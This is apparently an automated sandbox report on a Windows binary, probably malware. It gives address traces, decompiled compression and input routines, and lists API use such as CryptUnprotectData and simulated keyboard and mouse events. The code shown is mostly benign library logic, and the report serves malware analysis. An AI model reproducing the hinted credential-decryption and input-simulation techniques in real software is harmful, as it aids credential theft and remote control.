0x004152c1
0x004152c8
0x004152cb
0x004152d3
0x004152d6
0x004152d6
0x004152d9
0x00415291
0x00415298
0x004152a7
0x004152a9
0x004152a9
0x004152ab
0x004152af
0x004152b2
0x004152b3
0x004152b3
0x004152b9
0x004152b9
0x0041528f
0x004152e5
0x004152f1
0x004152f8
0x00415325
0x00415325
0x00000000
0x00415325
0x0041517c
0x00415181
0x00415188
0x004151be
0x004151c5
0x004151c8
0x004151d0
0x004151d3
0x004151d3
0x004151d6
0x0041518a
0x0041519a
0x0041519d
0x004151a5
0x004151a7
0x004151ab
0x004151af
0x004151b0
0x004151b6
0x004151b6
0x00415188
0x004151dd
0x004151de
0x004151eb
0x004151f1
0x004151f4
0x004151fc
0x00415203
0x00415206
0x0041532d
0x0041532d
0x0041532d
0x004151eb
0x00415333
0x00415337
0x0041533f
0x0041534e
0x004153ad
0x004153af
0x004153b1
0x004153b4
0x004153d3
0x004153d6
0x004153d6
0x004153d9
0x004153d9
0x004153dc
0x004153f4
0x004153fb
0x00415403
0x00415403
0x00415406
0x004153de
0x004153de
0x004153e6
0x004153ed
0x004153ef
0x004153ef
0x00415408
0x004153b6
0x004153b6
0x004153bd
0x004153c4
0x004153c4
0x004153c6
0x004153c6
0x004153ca
0x004153cb
0x004153cb
0x004153cf
0x004153cf
0x004153b4
0x00415350
0x00415355
0x0041538c
0x0041538f
0x00415397
0x0041539e
0x004153a4
0x00415357
0x0041535c
0x00415367
0x0041536f
0x00415371
0x00415375
0x00415378
0x00415379
0x00415379
0x0041537f
0x0041537f
0x00415355
0x00415416
0x0041541e
0x0041542a
0x0041542f
0x00415439
0x0041543f
0x00415442
0x00415442
0x00415448
0x00000000
0x00000000
0x0041544a
0x00415450
0x00415455
0x0041545b
0x0041545b
0x0041545d
0x00415461
0x00415461
0x00415472
0x00415475
0x00415475
0x00415478
0x0041547b
0x0041547b
0x0041547e
0x00415481
0x00000000
0x00000000
0x00415483
0x00415486
0x00415489
0x0041548e
0x00415494
0x00415494
0x00415496
0x0041549a
0x0041549a
0x004154a7
0x004154aa
0x004154aa
0x004154ad
0x004154b0
0x004154b0
0x004154b3
0x004154b6
0x00000000
0x00000000
0x004154b8
0x004154bb
0x004154be
0x004154c3
0x004154c9
0x004154c9
0x004154cb
0x004154cf
0x004154cf
0x004154d5
0x004154da
0x004154da
0x004154da
0x004154e1
0x004154e9
0x00000000
0x00000000
0x004154ef
0x004154f0
0x004154f3
0x00000000
0x004154f5
0x004154f5
0x004154fa
0x004154fa
0x004154fa
0x004154fa
0x004154fd
0x004154ff
0x00415502
0x00415502
0x00415505
0x00415508
0x00415508
0x0041550c
0x00000000
0x00000000
0x0041550e
0x00415511
0x00415514
0x00415519
0x0041551f
0x0041551f
0x00415521
0x00415525
0x00415525
0x0041552b
0x0041552b
0x0041552d
0x0041552d
0x00415534
0x0041553c
0x0041553f
0x00000000
0x00000000
0x0041554b
0x00415550
0x00415553
0x00415553
0x00415556
0x00415559
0x00415559
0x0041555d
0x00000000
0x00000000
0x0041555f
0x00415562
0x00415565
0x0041556a
0x00415570
0x00415570
0x00415572
0x00415576
0x00415576
0x0041557c
0x0041557d
0x0041557f
0x00000000
0x00415581
0x00415581
0x004155e3
0x004155e3
0x004155e3
0x004155e7
0x00000000
0x00000000
0x004155ed
0x004155f1
0x004155f1
0x004155f4
0x004155fc
0x004155ff
0x00415593
0x0041559b
0x004155a8
0x004155ad
0x004155af
0x0041561a
0x00415623
0x00415623
0x00415623
0x00415626
0x00415629
0x00415629
0x0041562c
0x0041562f
0x00000000
0x00000000
0x00415631
0x00415634
0x00415637
0x00415639
0x0041563f
0x00415642
0x00415642
0x00415644
0x00415648
0x00415648
0x0041564e
0x00415651
0x004156a8
0x00000000
0x00415653
0x00415653
0x0041565a
0x00415667
0x0041566e
0x00415673
0x00415675
0x00000000
0x0041567b
0x0041567b
0x00000000
0x0041567b
0x00415675
0x00000000
0x004155b1
0x004155b1
0x004155b9
0x004155b9
0x004155c1
0x00000000
0x004155c1
0x00415601
0x00415601
0x00415609
0x00415611
0x004155c8
0x004155c8
0x004155cd
0x004155cd
0x004155cf
0x004155d3
0x004155d3
0x004155d3
0x004155d6
0x004155d9
0x004155d9
0x004155dd
0x00000000
0x00000000
0x00415688
0x0041568b
0x0041568e
0x00415693
0x00415699
0x00415699
0x0041569b
0x0041569f
0x0041569f
0x004155d9
0x00000000
0x004155ff
0x004156d3
0x00000000
0x004156d3
0x00000000
0x0041557f
0x00415541
0x00000000
0x00415541
0x004156b1
0x004156b4
0x004156b4
0x004156b7
0x00000000
0x004156bd
0x004156bd
0x004156bf
0x00000000
0x004156bf
0x00000000
0x004156b7
0x00415110
0x00000000
0x00415110
0x004150eb
0x00000000

APIs

_assert.MSVCRT ref: 004155C8

Strings

bits <= ((1U << len) - 1U), xrefs: 004155C1
code < TDEFL_MAX_HUFF_SYMBOLS_2, xrefs: 00415611

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$code < TDEFL_MAX_HUFF_SYMBOLS_2
API String ID: 1222420520-1705079405
Opcode ID: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction ID: 8934405eb0176573ac8fe7b21ac65539928ae6525602ef26ebf357b260492e82
Opcode Fuzzy Hash: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction Fuzzy Hash: 7712B131508741CBCB15CF28C0842EABBE2FFD5304F5849AED8994B346E779D989CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00415ABF, Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 396
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00415ABF(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _v32;
				signed char _v36;
				intOrPtr _v52;
				int _v56;
				signed int _t261;
				void* _t262;
				signed char _t263;
				void* _t264;
				signed int _t271;
				int _t274;
				void* _t275;
				signed int _t279;
				void* _t280;
				void* _t281;
				void* _t282;
				void* _t283;
				signed char _t289;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				intOrPtr* _t298;
				signed char _t300;
				signed char _t302;
				intOrPtr* _t308;
				signed char _t313;
				signed char _t317;
				signed char _t319;
				signed int _t325;
				signed char _t326;
				signed char _t328;
				signed int _t345;
				char* _t348;
				intOrPtr _t349;
				signed int _t355;
				void* _t366;
				void* _t367;
				signed int _t372;
				void* _t383;
				void* _t384;
				signed char _t389;
				void* _t390;
				void* _t393;
				void* _t404;
				void* _t405;
				intOrPtr _t407;
				void* _t408;
				unsigned int _t409;
				int _t410;
				signed int _t411;
				void* _t412;
				char** _t413;
				char** _t415;

				_t298 = __eax;
				_t261 = 0;
				_t413 = _t412 - 0x2c;
				_v32 = __edx;
				if(( *(__eax + 0xa) & 0x00000008) != 0) {
					_t261 = ( *((intOrPtr*)(__eax + 0x1c)) -  *((intOrPtr*)(__eax + 0x40)) & 0xffffff00 |  *((intOrPtr*)(__eax + 0x1c)) -  *((intOrPtr*)(__eax + 0x40)) -  *((intOrPtr*)(__eax + 0x24)) < 0x00000000) & 0x000000ff;
				}
				if( *_t298 != 0) {
					L5:
					_t405 = _t298 + 0x39272;
					L6:
					 *(_t298 + 0x30) = _t405;
					 *((intOrPtr*)(_t298 + 0x34)) = _t405 + 0x14cbc;
					if( *(_t298 + 0x5c) == 0) {
						 *(_t298 + 0x58) = 0;
						 *(_t298 + 0x5c) = 0;
						 *( *(_t298 + 0x2c)) = ( *( *(_t298 + 0x2c)) & 0x000000ff) >>  *(_t298 + 0x38);
						 *((intOrPtr*)(_t298 + 0x28)) =  *((intOrPtr*)(_t298 + 0x28)) - (0 |  *(_t298 + 0x38) == 0x00000008);
						if(( *(_t298 + 9) & 0x00000010) != 0) {
							if( *((intOrPtr*)(_t298 + 0x64)) != 0) {
								goto L9;
							}
							_t326 =  *(_t298 + 0x44);
							 *(_t298 + 0x48) =  *(_t298 + 0x48) | 0x00000078 << _t326;
							 *(_t298 + 0x44) = _t326 + 8;
							while(1) {
								_t328 =  *(_t298 + 0x44);
								if(_t328 <= 7) {
									break;
								}
								_t384 =  *(_t298 + 0x30);
								if(_t384 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t384 + 1;
									 *_t384 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
							 *(_t298 + 0x48) =  *(_t298 + 0x48) | 0x00000001 << _t328;
							 *(_t298 + 0x44) = _t328 + 8;
							while( *(_t298 + 0x44) > 7) {
								_t383 =  *(_t298 + 0x30);
								if(_t383 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t383 + 1;
									 *_t383 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
						}
						L9:
						_t300 =  *(_t298 + 0x44);
						 *(_t298 + 0x48) =  *(_t298 + 0x48) | (0 | _v32 == 0x00000004) << _t300;
						 *(_t298 + 0x44) = _t300 + 1;
						while(1) {
							_t389 =  *(_t298 + 0x44);
							_v36 = _t389;
							_t390 =  *(_t298 + 0x30);
							if(_t389 <= 7) {
								break;
							}
							if(_t390 <  *((intOrPtr*)(_t298 + 0x34))) {
								 *(_t298 + 0x30) = _t390 + 1;
								 *_t390 =  *(_t298 + 0x48);
							}
							 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
							 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
						}
						_t409 =  *(_t298 + 0x48);
						if(_t261 != 0) {
							_t262 = 0;
							L32:
							if( *((intOrPtr*)(_t298 + 0x1c)) -  *((intOrPtr*)(_t298 + 0x40)) >  *((intOrPtr*)(_t298 + 0x24))) {
								L59:
								if(_t262 == 0) {
									 *(_t298 + 0x30) = _t390;
									 *(_t298 + 0x48) = _t409;
									 *(_t298 + 0x44) = _v36;
									E004156D4(_t298, 1);
								}
								L61:
								if(_v32 != 0) {
									if(_v32 != 4) {
										 *(_t298 + 0x44) =  *(_t298 + 0x44) + 3;
										while(1) {
											_t263 =  *(_t298 + 0x44);
											if(_t263 <= 7) {
												break;
											}
											_t281 =  *(_t298 + 0x30);
											if(_t281 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t281 + 1;
												 *_t281 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
										if(_t263 != 0) {
											 *(_t298 + 0x44) = 8;
											while( *(_t298 + 0x44) > 7) {
												_t280 =  *(_t298 + 0x30);
												if(_t280 <  *((intOrPtr*)(_t298 + 0x34))) {
													 *(_t298 + 0x30) = _t280 + 1;
													 *_t280 =  *(_t298 + 0x48);
												}
												 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
												 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
											}
										}
										_t264 = 2;
										_t345 = 0;
										do {
											_t302 =  *(_t298 + 0x44);
											 *(_t298 + 0x48) =  *(_t298 + 0x48) | _t345 << _t302;
											 *(_t298 + 0x44) = _t302 + 0x10;
											while( *(_t298 + 0x44) > 7) {
												_t393 =  *(_t298 + 0x30);
												if(_t393 <  *((intOrPtr*)(_t298 + 0x34))) {
													 *(_t298 + 0x30) = _t393 + 1;
													 *_t393 =  *(_t298 + 0x48);
												}
												 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
												 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
											}
											_t345 = _t345 ^ 0x0000ffff;
											_t264 = _t264 - 1;
										} while (_t264 != 0);
										goto L62;
									}
									if( *(_t298 + 0x44) != 0) {
										 *(_t298 + 0x44) = 8;
										while( *(_t298 + 0x44) > 7) {
											_t283 =  *(_t298 + 0x30);
											if(_t283 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t283 + 1;
												 *_t283 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
									}
									if(( *(_t298 + 9) & 0x00000010) == 0) {
										goto L62;
									}
									_t355 =  *(_t298 + 0x18);
									_t282 = 4;
									do {
										_t313 =  *(_t298 + 0x44);
										 *(_t298 + 0x48) =  *(_t298 + 0x48) | _t355 >> 0x00000018 << _t313;
										 *(_t298 + 0x44) = _t313 + 8;
										while( *(_t298 + 0x44) > 7) {
											_t404 =  *(_t298 + 0x30);
											if(_t404 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t404 + 1;
												 *_t404 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
										_t355 = _t355 << 8;
										_t282 = _t282 - 1;
									} while (_t282 != 0);
								}
								L62:
								_t408 =  *(_t298 + 0x30);
								if(_t408 <  *((intOrPtr*)(_t298 + 0x34))) {
									L98:
									memset(_t298 + 0x83d2, memset(_t298 + 0x8192, 0, 0x90 << 2), 0x10 << 2);
									_t415 =  &(_t413[6]);
									 *(_t298 + 0x38) = 8;
									 *((intOrPtr*)(_t298 + 0x28)) = _t298 + 0x9273;
									 *((intOrPtr*)(_t298 + 0x64)) =  *((intOrPtr*)(_t298 + 0x64)) + 1;
									 *(_t298 + 0x2c) = _t298 + 0x9272;
									 *((intOrPtr*)(_t298 + 0x40)) =  *((intOrPtr*)(_t298 + 0x40)) +  *(_t298 + 0x3c);
									_t410 = _t408 - _t405;
									 *(_t298 + 0x3c) = 0;
									if(_t410 == 0) {
										L108:
										_t271 =  *(_t298 + 0x5c);
										L109:
										return _t271;
									}
									_t308 =  *_t298;
									_t348 = _t298 + 0x39272;
									if(_t308 == 0) {
										if(_t405 != _t348) {
											 *((intOrPtr*)(_t298 + 0x8c)) =  *((intOrPtr*)(_t298 + 0x8c)) + _t410;
										} else {
											_t349 =  *((intOrPtr*)(_t298 + 0x8c));
											_t274 =  *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x7c)))) - _t349;
											if(_t274 > _t410) {
												_t274 = _t410;
											}
											_t275 = memcpy(_t349 +  *((intOrPtr*)(_t298 + 0x74)), _t405, _t274);
											_t415 =  &(_t415[3]);
											 *((intOrPtr*)(_t298 + 0x8c)) =  *((intOrPtr*)(_t298 + 0x8c)) + _t275;
											_t411 = _t410 - _t275;
											if(_t411 != 0) {
												 *(_t298 + 0x58) = _t275;
												 *(_t298 + 0x5c) = _t411;
											}
										}
										goto L108;
									}
									 *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x78)))) =  *((intOrPtr*)(_t298 + 0x84)) -  *((intOrPtr*)(_t298 + 0x70));
									_v56 = _t410;
									 *_t415 = _t348;
									_v52 =  *((intOrPtr*)(_t298 + 4));
									_t279 =  *_t308();
									if(_t279 != 0) {
										goto L108;
									}
									 *((intOrPtr*)(_t298 + 0x6c)) = 0xffffffff;
									_t271 = _t279 | 0xffffffff;
									goto L109;
								}
								_v52 = 0xc8b;
								_v56 = 0x424620;
								 *_t413 = "d->m_pOutput_buf < d->m_pOutput_buf_end";
								L97:
								L0041F7E4();
								goto L98;
							}
							 *(_t298 + 0x30) = _t390;
							 *(_t298 + 0x48) = _t409;
							 *(_t298 + 0x44) = _v36 + 2;
							while(1) {
								_t289 =  *(_t298 + 0x44);
								if(_t289 <= 7) {
									break;
								}
								_t293 =  *(_t298 + 0x30);
								if(_t293 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t293 + 1;
									 *_t293 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
							if(_t289 != 0) {
								 *(_t298 + 0x44) = 8;
								while( *(_t298 + 0x44) > 7) {
									_t292 =  *(_t298 + 0x30);
									if(_t292 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t292 + 1;
										 *_t292 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
							}
							_t290 = 2;
							do {
								_t317 =  *(_t298 + 0x44);
								 *(_t298 + 0x48) =  *(_t298 + 0x48) | ( *(_t298 + 0x3c) & 0x0000ffff) << _t317;
								 *(_t298 + 0x44) = _t317 + 0x10;
								while( *(_t298 + 0x44) > 7) {
									_t367 =  *(_t298 + 0x30);
									if(_t367 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t367 + 1;
										 *_t367 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
								 *(_t298 + 0x3c) =  *(_t298 + 0x3c) ^ 0x0000ffff;
								_t290 = _t290 - 1;
							} while (_t290 != 0);
							_t291 = 0;
							while(_t291 <  *(_t298 + 0x3c)) {
								_t319 =  *(_t298 + 0x44);
								 *(_t298 + 0x48) =  *(_t298 + 0x48) | ( *(_t298 + ( *((intOrPtr*)(_t298 + 0x40)) + _t291 & 0x00007fff) + 0x90) & 0x000000ff) << _t319;
								 *(_t298 + 0x44) = _t319 + 8;
								while( *(_t298 + 0x44) > 7) {
									_t366 =  *(_t298 + 0x30);
									if(_t366 <  *((intOrPtr*)(_t298 + 0x34))) {
										 *(_t298 + 0x30) = _t366 + 1;
										 *_t366 =  *(_t298 + 0x48);
									}
									 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
									 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
								}
								_t291 = _t291 + 1;
							}
							goto L61;
						}
						_t372 = 1;
						if(( *(_t298 + 0xa) & 0x00000004) == 0) {
							_t372 = 0 |  *(_t298 + 0x3c) - 0x0000002f < 0x00000000;
						}
						_t262 = E004156D4(_t298, _t372);
						_t325 =  *(_t298 + 0x3c);
						if(_t325 == 0 || _t325 >  *(_t298 + 0x30) - _t390 + 1) {
							goto L59;
						} else {
							goto L32;
						}
					}
					_v52 = 0xc3e;
					_v56 = 0x424620;
					 *_t413 = "!d->m_output_flush_remaining";
					goto L97;
				}
				_t407 =  *((intOrPtr*)(_t298 + 0x8c));
				if( *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x7c)))) - _t407 <= 0x14ccb) {
					goto L5;
				} else {
					_t405 = _t407 +  *((intOrPtr*)(_t298 + 0x74));
					goto L6;
				}
			}

0x00415ac3
0x00415ac5
0x00415ac7
0x00415ace
0x00415ad2
0x00415ae0
0x00415ae0
0x00415ae6
0x00415b02
0x00415b02
0x00415b08
0x00415b12
0x00415b15
0x00415b18
0x00415b39
0x00415b40
0x00415b4f
0x00415b5a
0x00415b61
0x00415b82
0x00000000
0x00000000
0x00415b84
0x00415b8e
0x00415b94
0x00415b97
0x00415b97
0x00415b9d
0x00000000
0x00000000
0x00415b9f
0x00415ba5
0x00415baa
0x00415bb0
0x00415bb0
0x00415bb2
0x00415bb6
0x00415bb6
0x00415bc3
0x00415bc9
0x00415bcc
0x00415bd2
0x00415bd8
0x00415bdd
0x00415be3
0x00415be3
0x00415be5
0x00415be9
0x00415be9
0x00415bcc
0x00415b63
0x00415b6a
0x00415b73
0x00415b76
0x00415c07
0x00415c07
0x00415c0d
0x00415c11
0x00415c14
0x00000000
0x00000000
0x00415bf2
0x00415bf7
0x00415bfd
0x00415bfd
0x00415bff
0x00415c03
0x00415c03
0x00415c18
0x00415c1b
0x00415c53
0x00415c55
0x00415c5e
0x00415d5b
0x00415d5d
0x00415d63
0x00415d6b
0x00415d6e
0x00415d73
0x00415d73
0x00415d78
0x00415d7d
0x00415dac
0x00415e32
0x00415e36
0x00415e36
0x00415e3c
0x00000000
0x00000000
0x00415e3e
0x00415e44
0x00415e49
0x00415e4f
0x00415e4f
0x00415e51
0x00415e55
0x00415e55
0x00415e5d
0x00415e68
0x00415e6f
0x00415e75
0x00415e7b
0x00415e80
0x00415e86
0x00415e86
0x00415e88
0x00415e8c
0x00415e8c
0x00415e6f
0x00415e5f
0x00415e64
0x00415ec0
0x00415ec0
0x00415eca
0x00415ecd
0x00415ead
0x00415e92
0x00415e98
0x00415e9d
0x00415ea3
0x00415ea3
0x00415ea5
0x00415ea9
0x00415ea9
0x00415eb3
0x00415eb9
0x00415eb9
0x00000000
0x00415ec0
0x00415db6
0x00415dc8
0x00415dcf
0x00415dd5
0x00415ddb
0x00415de0
0x00415de6
0x00415de6
0x00415de8
0x00415dec
0x00415dec
0x00415dcf
0x00415dbc
0x00000000
0x00000000
0x00415dbe
0x00415dc1
0x00415e1d
0x00415e1d
0x00415e2a
0x00415e2d
0x00415e0d
0x00415df2
0x00415df8
0x00415dfd
0x00415e03
0x00415e03
0x00415e05
0x00415e09
0x00415e09
0x00415e13
0x00415e16
0x00415e16
0x00415e1d
0x00415d7f
0x00415d7f
0x00415d85
0x00415ed7
0x00415ef5
0x00415ef5
0x00415efd
0x00415f04
0x00415f0d
0x00415f10
0x00415f16
0x00415f19
0x00415f1b
0x00415f22
0x00415f96
0x00415f96
0x00415f99
0x00415fa0
0x00415fa0
0x00415f24
0x00415f26
0x00415f2e
0x00415f60
0x00415f90
0x00415f62
0x00415f65
0x00415f6d
0x00415f71
0x00415f73
0x00415f73
0x00415f7c
0x00415f7c
0x00415f7e
0x00415f84
0x00415f86
0x00415f88
0x00415f8b
0x00415f8b
0x00415f86
0x00000000
0x00415f60
0x00415f3c
0x00415f41
0x00415f45
0x00415f48
0x00415f4c
0x00415f50
0x00000000
0x00000000
0x00415f52
0x00415f59
0x00000000
0x00415f59
0x00415d8b
0x00415d93
0x00415d9b
0x00415ed2
0x00415ed2
0x00000000
0x00415ed2
0x00415c68
0x00415c6b
0x00415c71
0x00415c74
0x00415c74
0x00415c7a
0x00000000
0x00000000
0x00415c7c
0x00415c82
0x00415c87
0x00415c8d
0x00415c8d
0x00415c8f
0x00415c93
0x00415c93
0x00415c9b
0x00415ca4
0x00415cab
0x00415cb1
0x00415cb7
0x00415cbc
0x00415cc2
0x00415cc2
0x00415cc4
0x00415cc8
0x00415cc8
0x00415cab
0x00415c9d
0x00415cce
0x00415cd2
0x00415cd7
0x00415cdd
0x00415ce0
0x00415ce6
0x00415cec
0x00415cf1
0x00415cf7
0x00415cf7
0x00415cf9
0x00415cfd
0x00415cfd
0x00415d03
0x00415d0a
0x00415d0a
0x00415d0d
0x00415d0f
0x00415d17
0x00415d2c
0x00415d32
0x00415d35
0x00415d3b
0x00415d41
0x00415d46
0x00415d4c
0x00415d4c
0x00415d4e
0x00415d52
0x00415d52
0x00415d58
0x00415d58
0x00000000
0x00415d0f
0x00415c21
0x00415c26
0x00415c2e
0x00415c2e
0x00415c33
0x00415c38
0x00415c3d
0x00000000
0x00415c51
0x00000000
0x00415c51
0x00415c3d
0x00415b1a
0x00415b22
0x00415b2a
0x00000000
0x00415b2a
0x00415aeb
0x00415afb
0x00000000
0x00415afd
0x00415afd
0x00000000
0x00415afd

APIs

_assert.MSVCRT ref: 00415ED2

Strings

d->m_pOutput_buf < d->m_pOutput_buf_end, xrefs: 00415D9B
!d->m_output_flush_remaining, xrefs: 00415B2A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !d->m_output_flush_remaining$d->m_pOutput_buf < d->m_pOutput_buf_end
API String ID: 1222420520-597789969
Opcode ID: 8ddbe3c9850994fc0d72c42226f444b701068ab875a1f9731f5df1535297b31b
Instruction ID: a7d617267acf3779656a729e3d165d253c0adcf1a2096d40c2f4e68e066cb6e0
Opcode Fuzzy Hash: 8ddbe3c9850994fc0d72c42226f444b701068ab875a1f9731f5df1535297b31b
Instruction Fuzzy Hash: 5C02F370505601CFCB58CF28C5C46957BA2FF95304F5886AADD4A8F34AE339E8C9CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E511, Relevance: 3.2, APIs: 2, Instructions: 154encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 0040E645
LocalFree.KERNEL32 ref: 0040E704

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: c63f1e79abc16ef90ff5286a14a4e2a9458261c6144f1dd153b029fa06e06a91
Instruction ID: 6f154d43ee89b411a9f17fea58252a0a0f24be58a4641eb8c9eefda1aa91bd9a
Opcode Fuzzy Hash: c63f1e79abc16ef90ff5286a14a4e2a9458261c6144f1dd153b029fa06e06a91
Instruction Fuzzy Hash: 3171BFB05083449FC710DF2AC18475BFBE0BB89348F448D2EE99897391E779D999CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004121EF, Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

SetCursorPos.USER32 ref: 00412203
mouse_event.USER32 ref: 00412297

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Cursormouse_event
String ID:
API String ID: 1102576784-0
Opcode ID: 02aa775cd51f21a886bada7529a77aa4c4527e8a93dc87a2c038cd1471ca5427
Instruction ID: 2d8ae4a002b4347ec37d14b3ea5e3552e9b4ec24971f98579b9e90b097ea308f
Opcode Fuzzy Hash: 02aa775cd51f21a886bada7529a77aa4c4527e8a93dc87a2c038cd1471ca5427
Instruction Fuzzy Hash: B70184B4009350AAE744AF15C11936FBFE1BB80708F408C5EF4D44A290D3BD8599DB97

Uniqueness

Uniqueness Score: -1.00%

Function 004121C0, Relevance: 1.5, APIs: 1, Instructions: 10
keyboardCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004121C0(signed char _a4) {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _t5;
				signed int* _t6;

				_t5 = _a4 & 0x000000ff;
				_v16 = 0;
				_v20 = 2;
				_v24 = 0;
				 *_t6 = _t5;
				L0041F80C();
				return _t5;
			}

0x004121c3
0x004121c8
0x004121d0
0x004121d8
0x004121e0
0x004121e3
0x004121ee

APIs

keybd_event.USER32 ref: 004121E3

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: keybd_event
String ID:
API String ID: 2665452162-0
Opcode ID: fc0e2f1ce52b91d2f25bab5800c9da4a646e5a4d84648ec4c398f99e0da44be8
Instruction ID: c3d59fdb0b4da9d538631368c5f777f5d3843ca3ad337a3792014ed51d975762
Opcode Fuzzy Hash: fc0e2f1ce52b91d2f25bab5800c9da4a646e5a4d84648ec4c398f99e0da44be8
Instruction Fuzzy Hash: 55D0E9B58087545AD7007F29C15A32ABEE0BB85308F84899DE8D846256E37D82589F97

Uniqueness

Uniqueness Score: -1.00%

Function 00408417, Relevance: 56.3, APIs: 13, Strings: 19, Instructions: 294
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408417(void* __edx, void* __eflags, int _a8, void* _a11, void* _a12, void* _a13, void* _a14, void* _a15, void* _a16, void _a17, void* _a24, intOrPtr _a28, void* _a36, char _a48, char _a56, void _a60, void _a64, intOrPtr _a80, char _a100, char _a101, char _a102, char _a103, void _a104, char _a105, void _a112, void _a128, void* _a140, char _a172, char _a204, char _a236) {
				void _v0;
				void _v4;
				void _v8;
				void* _v12;
				void* _v16;
				void* _v24;
				void* _v28;
				void* _v32;
				void _v40;
				void* _v44;
				void* _v48;
				CHAR* _t121;
				void* _t124;
				struct HINSTANCE__* _t125;
				_Unknown_base(*)()* _t126;
				intOrPtr _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				void* _t130;
				void* _t138;
				void* _t142;
				void* _t146;
				void* _t147;
				void* _t151;
				void* _t152;
				void* _t156;
				intOrPtr _t160;
				int _t162;
				void* _t165;
				void* _t167;
				void* _t180;
				void* _t184;
				void* _t185;
				void* _t189;
				intOrPtr* _t198;
				intOrPtr _t199;
				void* _t200;
				void _t201;
				intOrPtr _t202;
				void _t203;
				void* _t214;
				CHAR* _t215;
				CHAR* _t232;
				_Unknown_base(*)()* _t234;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t242;
				void* _t243;
				struct HINSTANCE__* _t245;
				void* _t246;
				void* _t248;
				void* _t249;
				void* _t250;
				intOrPtr* _t255;

				_t214 = __edx;
				_t250 = _t249 - E0041F3F0(0x110c);
				_t121 = E004081AA("U4R-55sTsdR");
